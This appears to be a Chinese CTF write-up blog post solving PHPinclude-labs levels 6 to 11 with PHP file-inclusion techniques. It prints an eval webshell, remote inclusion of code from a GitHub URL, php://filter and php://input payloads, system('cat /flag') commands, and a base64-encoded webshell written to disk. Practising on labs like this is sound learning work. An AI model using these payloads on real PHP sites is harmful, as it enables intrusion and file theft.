内容是<?php @eval($_POST['a']); ?>
那就好说了
GET
?wrappers=raw.githubusercontent.com/ProbiusOfficial/PHPinclude-labs/main/RFI
POST 先看看根目录下有啥
a=system('ls /');
bin dev etc flag home lib media mnt opt proc root run sbin srv sys tmp usr var
那就可以打开根目录下的flag
a=system('cat /flag');
取得flag

PHPinclude-labs-level6

先看提示

php:// — 访问各个输入/输出流(I/O streams),PHP中最为复杂和强大的协议(https://www.php.net/manual/zh/wrappers.php.php)。

在CTF中经常使用的如下:
php://input - 可以访问请求的原始数据的只读流,在POST请求中访问POST的data部分,在enctype="multipart/form-data" 的时候php://input 是无效的。常用于执行代码。 依赖:allow_url_include:On

php://filter - (PHP_Version>=5.0.0)其参数会在该协议路径上进行传递,多个参数都可以在一个路径上传递,从而组成一个过滤链,常用于数据读取,在特殊情况下,利用特性还可以实现代码执行。无依赖,但在过滤链的代码执行中 php://temp 可能需要allow_url_include:On

得知这关一定是用 php:// 并且应该可以用 inputfilter 两种方法
再看看配置和文件

该关卡配置:
allow_url_fopen:On
allow_url_include:On

相关文件:
- 当前目录下 flag.php 文件,flag以静态变量形式存储在文件中。
- 根目录下 flag 文件,flag以文本形式存储在文件中。

还是选 /flag
读一下代码 要GET一个 wrappers
然后会在wrappers前加个php:// 再被include包含

先试试input GET里用
?wrappers=input
按理来说 他就会读取POST里的数据流了
所以发个POST
<?php system('cat /flag');?>
然而并没有什么反应 不知道怎么回事

那试试filter GET
?wrappers=filter//resource=/flag
取得了flag
Geesec{d6a550ea-defc-4755-9774-f67c90c354c8}

PHPinclude-labs-level7

先看提示

php://input - 可以访问请求的原始数据的只读流,在POST请求中访问POST的data部分,在enctype="multipart/form-data" 的时候php://input 是无效的。常用于执行代码。 依赖:allow_url_include:On

php://input做为include的直接参数时,如题,php执行时会将post内容当作文件内容,要注意,php://input不支持post提交,其请求的参数格式是原生(Raw)的内容,无法使用hackbar提交,因为hackbar不支持raw方式  

这下知道为什么上一关input没成了 用的hackbar
再看看配置和文件

该关卡配置:
allow_url_fopen:On
allow_url_include:On

相关文件:
- 当前目录下 flag.php 文件,flag以静态变量形式存储在文件中。
- 根目录下 flag 文件,flag以文本形式存储在文件中。

这关肯定是用input了
读一下代码 要GET一个wrappers
wrappers 不为空 那就包含 php://input
那就随便给wrappers赋个东西就行
所以用bp抓包吧
抓完改成POST 在第一行请求头中加上?wrappers=1
然后POST一个php代码就行
<?php system('cat /flag')?>
取得flag
Geesec{c2fb1b33-0e95-4b79-949f-36937d582bf4}

PHPinclude-labs-level8

先看提示

php://filter - (PHP_Version>=5.0.0)其参数会在该协议路径上进行传递,多个参数都可以在一个路径上传递,从而组成一个过滤链,常用于数据读取,在特殊情况下,利用特性还可以实现代码执行。无依赖,但在过滤链的代码执行中 php://temp 可能需要allow_url_include:On

依赖:
allow_url_fopen:Off/On
allow_url_include :Off/On

其参数如下:
resource=<要过滤的数据流>    这个参数是必须的。它指定了你要筛选过滤的数据流。 resource=flag.php
read=<读链的筛选列表>    该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。 php://filter/read=A|B|C/resource=flag.php
write=<写链的筛选列表>    该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。 php://filter/write=A|B|C/resource=flag.php
<;两个链的筛选列表>    任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。 php://filter/A|B|C/resource=flag.php

【过滤器列表】https://www.php.net/manual/zh/filters.php

【字符串过滤器】https://www.php.net/manual/zh/filters.string.php 
php://filter/A|B|C/resource=sayhello.txt
string.rot13 rot13变换
string.toupper 转大写字母
string.tolower 转小写字母
string.strip_tags 去除html、PHP语言标签 (本特性已自 PHP 7.3.0 起废弃)

这关肯定用filter了
再看配置和文件

该关卡配置:
allow_url_fopen:Off
allow_url_include:Off

相关文件:
- 当前目录下 flag.php 文件,flag以静态变量形式存储在文件中。
- 根目录下 flag 文件,flag以文本形式存储在文件中。

读一下代码 要GET一个 wrappers
然后会在wrappers前加个php:// 再被include包含
虽然它题里给了rot13加密 不过hackbar里面自带base64加密和解密 更方便 所以这里用base64
?wrappers=filter/read=convert.base64-encode/resource=/flag
取得flag的base64加密形式
R2Vlc2VjezljYjdhN2RkLWJkZDgtNDYxNy04NWRjLTA0MTgzYzhmMmYwMX0K
解密 取得flag
Geesec{9cb7a7dd-bdd8-4617-85dc-04183c8f2f01}

PHPinclude-labs-level9

先看提示

依赖:
allow_url_fopen:Off/On
allow_url_include:Off/On

【转换过滤器】https://www.php.net/manual/zh/filters.convert.php
- convert.base64-encode 和 convert.base64-decode
- convert.quoted-printable-encode 和 convert.quoted-printable-decode
- convert.iconv.*

基本可以确定这次要用 filter/convert
那就base64好了
再看配置和文件

相关文件:
- 当前目录下 flag.php 文件,flag以静态变量形式存储在文件中。
 base64的转换滤器就能很好的解决php文件了x~ Try ?wrappers=filter/convert.base64-encode/resource=flag.php */

这下可能没有根目录下的flag了
那就用当前目录下的flag.php吧
GET
?wrappers=filter/read=convert.base64-encode/resource=flag.php
取得base64编码的flag.php的内容
PD9waHAgJGZsYWcgPSAiR2Vlc2VjezZlNjQzM2EwLTgxNGUtNGZiOS05NGEwLTAxNGQyOWQxMmNiOX0KIjsgPz4=
base64解码后 取得源代码

<?php $flag = "Geesec{6e6433a0-814e-4fb9-94a0-014d29d12cb9}
"; ?>

取得flag
Geesec{6e6433a0-814e-4fb9-94a0-014d29d12cb9}

PHPinclude-labs-level10

先看提示

我们常见的文件包含题目的大多数考点主要集中在类似 include() 函数(这里的类似强调的是 incdlue、require、include_once、require_once)的调用上,除开直接的文本包含,更多还涉及到了一些封装协议(wrappers)的使用,比如 file 协议、data 协议、php 协议等等,早在我们之前提及该部分对应文档 【支持的协议和封装协议】https://www.php.net/manual/zh/wrappers.php 时,其中的这样一句话就有强调 “PHP 带有很多内置 URL 风格的封装协议,可用于类似 fopen()、 copy()、 file_exists() 和 filesize() 的文件系统函数。”这些函数的特定 —— 【文件系统·文件系统函数】https://www.php.net/manual/zh/book.filesystem.php。

所以在文件包含的题目中,除了include类型函数,其他文件系统函数也可以用来考察协议方面的内容,比如 file_put_contents(), file_get_contents(), file(), readfile() .etc

该关卡使用的是 file_get_contents() 函数(https://www.php.net/manual/zh/function.file-get-contents.php) 他会将整个文件读入一个字符串,同样的他支持封装协议(wrappers)的使用。

可知这关要用file_get_contents
再看配置和文件

该关卡配置:
allow_url_fopen:On
allow_url_include:On

相关文件:
- 根目录下 flag 文件,flag以文本形式存储在文件中。

只有一个根目录的 那就开它
读一下代码 得知他会把file的内容写进变量 $file
然后判断这个字符串变量有没有flag
如果有就终止程序 这里可以用加密后 就识别不出flag了
这里用base64
GET
?file=php://filter/read=convert.base64-encode/resource=/flag
得到base64编码的/flag
R2Vlc2VjezI1NDY4ZGU3LTU0MWUtNGRlMi04M2M1LWJlOWUyNjg4NzgxNn0K
取得flag
Geesec{25468de7-541e-4de2-83c5-be9e26887816}

PHPinclude-labs-level11

先看提示

该关卡使用的是 file_put_contents() 函数(https://www.php.net/manual/zh/function.file-put-contents.php) 这将对应过滤器中的Write方法,用于将数据写入文件。

hint:(need allow_url_fopen=On)如果 filename 是 "scheme://..." 的格式,则被当成一个 URL,PHP 将搜索协议处理器(也被称为封装协议)来处理此模式。(https://www.php.net/manualzh/function.fopen.php)

这关要用file_put_contents了
再看配置和文件

该关卡配置:
allow_url_fopen:On
allow_url_include:On

相关文件:
- 根目录下 flag 文件,flag以文本形式存储在文件中。

读下代码
大致就是 GET一个filename POST一个data
然后data有过滤
/flag(包括大写) ~ ! @ # $ % ^ & * ( ) - _ + =
会把data的内容写进filename指向的文件里
为了绕过这些过滤 可以用base64编码

base64编码后可能会出现+ =
其中+不可省略 =可省略
因此在编码后要检查结果不能有+

这里传个GET
?filename=php://filter/write=convert.base64-decode/resource=icent.php
那么接下来POST的data的内容就在base64解码后写入icent.php
我们可以用data写一些恶意代码 比如引入一个新的函数
<?php eval($_GET['a']);?>
经过base64编码后 传到POST里
data=PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7Pz4
接着对 a 进行操作 让它打开根目录下的flag文件
&a=system('cat /flag');

个人觉得思路没问题 但是一直没反应 cat不出来
真没招了

posted @ 2025-11-30 21:52  icent  阅读(146)  评论(0)    收藏  举报